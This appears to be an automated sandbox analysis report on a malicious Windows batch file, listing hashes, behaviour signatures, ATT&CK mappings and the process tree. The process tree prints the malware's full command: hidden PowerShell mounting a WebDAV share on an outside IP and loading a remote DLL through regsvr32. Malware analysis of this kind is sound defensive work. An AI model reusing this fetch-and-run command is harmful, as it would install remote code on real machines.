5755e51681dc4dd756938eb022aaa64389e45970a7bad48720dae02ab4076e50

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19-07-2024 12:53

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General

Target

185433064283317791.bat
Size

2KB
MD5

6c9c31b3cc14e99f689c656d5a36a3b1
SHA1

e7dc9fdf08e24b8bb099f17a59974227f1de3628
SHA256

5755e51681dc4dd756938eb022aaa64389e45970a7bad48720dae02ab4076e50
SHA512

b275a981604d07376d4f0313636362a0db81346f626c22dee84890874d86d8a51ad805e20373c9886868e11c73e4f04614b4aab80125f6bc05f40689cdb8ca22

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3028	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3028	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3028	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2656	wordpad.exe
2656	wordpad.exe
2656	wordpad.exe
2656	wordpad.exe
2656	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 2656	2784	cmd.exe	32
PID 2784 wrote to memory of 2656	2784	cmd.exe	32
PID 2784 wrote to memory of 2656	2784	cmd.exe	32
PID 2784 wrote to memory of 3028	2784	cmd.exe	33
PID 2784 wrote to memory of 3028	2784	cmd.exe	33
PID 2784 wrote to memory of 3028	2784	cmd.exe	33
PID 3028 wrote to memory of 2688	3028	powershell.exe	35
PID 3028 wrote to memory of 2688	3028	powershell.exe	35
PID 3028 wrote to memory of 2688	3028	powershell.exe	35
PID 3028 wrote to memory of 2612	3028	powershell.exe	36
PID 3028 wrote to memory of 2612	3028	powershell.exe	36
PID 3028 wrote to memory of 2612	3028	powershell.exe	36
PID 3028 wrote to memory of 2612	3028	powershell.exe	36
PID 3028 wrote to memory of 2612	3028	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\185433064283317791.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\126951871630094.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2688
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\126951871630094.dll
    3⤵
    PID:2612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3028-23-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/3028-24-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download